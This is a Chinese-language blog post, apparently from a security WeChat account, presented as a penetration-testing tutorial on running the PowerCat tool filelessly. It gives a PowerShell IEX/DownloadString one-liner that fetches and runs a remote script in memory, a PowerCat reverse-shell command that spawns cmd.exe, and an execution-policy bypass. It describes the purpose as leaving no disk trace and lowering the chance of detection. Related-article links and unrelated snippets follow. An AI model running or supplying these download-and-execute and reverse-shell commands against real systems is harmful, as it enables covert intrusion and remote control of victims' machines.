声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险,并遵循相关法律法规。

无文件落地执行(fileless execution)是一种技术,用于避免在磁盘上留下文件痕迹,使得恶意行为更难被检测到。PowerCat 是一个基于 PowerShell 的渗透测试工具,可以使用 PowerShell 的特性实现无文件落地执行。

  1. 准备 PowerCat 脚本:将 PowerCat 的脚本托管在一个可以访问的远程服务器上,比如 GitHub Gist、Pastebin 或自建的 HTTP 服务器。

  2. 使用 PowerShell 命令直接从远程服务器下载并执行脚本

    • 使用 IEX(Invoke-Expression)和 Invoke-WebRequestInvoke-RestMethod 组合可以直接在内存中加载和执行脚本。
    • 以下是一个示例命令,通过 PowerShell 从远程服务器下载并执行 PowerCat:
IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1')

或者使用 Invoke-RestMethod

IEX (Invoke-RestMethod -Uri 'https://example.com/path/to/powercat.ps1')
  1. 执行 PowerCat 命令:在内存中加载 PowerCat 后,直接使用 PowerCat 提供的功能进行渗透测试。例如,使用 PowerCat 建立反向 shell:
powercat -c target_ip -p target_port -e cmd.exe
完整示例

假设 PowerCat 脚本托管在 https://example.com/path/to/powercat.ps1

IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1'); powercat -c target_ip -p target_port -e cmd.exe

此命令会在内存中下载并执行 PowerCat 脚本,并立即通过 PowerCat 建立反向 shell 连接。

注意事项
  • 安全性:确保托管脚本的远程服务器是安全的,防止脚本被篡改。

  • 权限:PowerShell 执行策略可能会限制脚本执行。需要以管理员权限运行 PowerShell 或调整执行策略:

Set-ExecutionPolicy Unrestricted -Scope Process
  • 检测和防御:尽管无文件落地执行可以降低被检测的可能性,但仍有其他检测和防御手段,例如基于行为的检测,因此在实际渗透测试中要综合考虑多种手段。

通过这些步骤,你可以实现 PowerCat 的无文件落地执行,直接在内存中下载并执行 PowerCat 脚本。

演示

远端机开启web服务,用于被控端下载powercat 脚本

攻击机开启监听

执行命令

攻击端成功接收

查看被控端执行目录文件列表,不存在powercat.ps1 文件,说明文件未落地执行,直接在内存中执行。

当然除了使用 IEX 进行无文件落地,还可以使用的方法有 4 种。

欢迎关注 公众号 “D1TASec” 查看文章。

Powercat 无文件落地执行技巧,你确定不进来看看?的更多相关文章

  1. 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马

    无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...

  2. linux无文件执行— fexecve 揭秘

    前言 良好的习惯是人生产生复利的有力助手. 继续2020年的flag,至少每周更一篇文章. 无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux上 ...

  3. android无后缀二进制执行文件替代apk实现程序功能

    韩梦飞沙  韩亚飞  313134555@qq.com  yue31313  han_meng_fei_sha android无后缀二进制执行文件替代apk实现程序功能 实现将data/Android ...

  4. 无插件Vim编程技巧

    无插件Vim编程技巧 http://bbs.byr.cn/#!article/buptAUTA/59钻风 2014-03-24 09:43:46 发表于:vim  相信大家看过<简明Vim教程& ...

  5. 无插件VIM编程技巧(网摘)

    无插件VIM编程技巧 原文出处:[陈皓 coolshell] 相信大家看过<简明Vim教程>也玩了<Vim大冒险>的游戏了,相信大家对Vim都有一个好的入门了.我在这里把我日常 ...

  6. 渗透测试之无文件渗透简单使用-windows

    无文件渗透测试工作原理:无文件恶意程序最初是由卡巴斯基在2014年发现的,一直不算是什么主流的攻击方式,直到此次事件的发生.说起来无文件恶意程序并不会为了执行而将文件或文件夹复制到硬盘上,反而是将pa ...

  7. 在 tornado 中异步无阻塞的执行耗时任务

    在 tornado 中异步无阻塞的执行耗时任务 在 linux 上 tornado 是基于 epoll 的事件驱动框架,在网络事件上是无阻塞的.但是因为 tornado 自身是单线程的,所以如果我们在 ...

  8. 从无文件技术到使用隐写术:检查Powload的演变

    来源:https://blog.trendmicro.com/trendlabs-security-intelligence/from-fileless-techniques-to-using-ste ...

  9. BAT文件语法和技巧(bat文件的编写及使用)

    源文链接:http://www.jb51.net/article/5828.htm 比较有用的东比较有用的东西 首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们 ...

  10. BAT文件语法和技巧

    首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任 ...

随机推荐

  1. Solon 3.0 新特性:SqlUtils

    Solon 3.0 引入了新的 SqlUtils 用于数据库基础操作,SqlUtils 是对 JDBC 较为原始的封装,采用了 Utils API 的风格,极为反普归真. 特性有: 支持事务管理 支持 ...

  2. query和params的区别

    2者都是编程式路由跳转用来存放传递数据的位置,query使用path引入,数据显示在地址栏上,params使用name引入,传递的数据在页面看不见 :

  3. vue3中没有 this 环境变量了

    因为 api setup 在 beforecreate 之前执行,所以 this 是 undefined : setup 不能是一个 async 函数 ,因为返回值不是 对象了 ,而是 promise ...

  4. 亿图图示最新版本(Win和Mac)适用的最高45天免费会员,Edrawmax,MindMaster,windows和mac兼用免费会员

    活动随时都在变化,感兴趣的快点去领吧! 亿图图示:https://www.edrawsoft.cn/viral-marketing/Invited.html?s_uid=26349406&pr ...

  5. 狂神说-Docker基础-学习笔记-03 日志、元数据、进程的查看

    狂神说-Docker基础-学习笔记-03 日志.元数据.进程的查看 视频链接:https://www.bilibili.com/video/BV1og4y1q7M4?p=1 1.docker logs ...

  6. pytest的conftest.py文件讲解

    一.conftest.py的特点 1.可以跨.py文件调用,有多个.py文件调用时,可让conftest.py只调用了一次fixture,或调用多次fixture 2.conftest.py与运行的用 ...

  7. Nuxt.js 应用中的 nitro:config 事件钩子详解

    title: Nuxt.js 应用中的 nitro:config 事件钩子详解 date: 2024/11/2 updated: 2024/11/2 author: cmdragon excerpt: ...

  8. Shell之根据关键字符串替换文件中的行

    KEY="所要搜索的关键字符串"FullPath=所要搜索的文件的路径str="要替换行的字符串"     根据关键字符串定位行号:line=`sed -n ' ...

  9. 面试:靠着这篇笔记,我拿下了16k车载测试offer!

    如何写简历个人技能个人技能一般不要超过10条,一般在8条内. 一.测试流程和技术 1.熟悉车载系统研发和测试流程,能独立编写各种测试文档. 2.熟悉车载系统测试用例设计思路,能独立编写仪表和车机的测试 ...

  10. Git Flow开发分支管理

    Git Flow Git Flow 是一种基于 Git 版本控制系统的分支管理模型,定义了一套严格的分支命名和操作规范 主要包括以下几种分支类型: 主干分支(master):始终保持稳定,只包含经过充 ...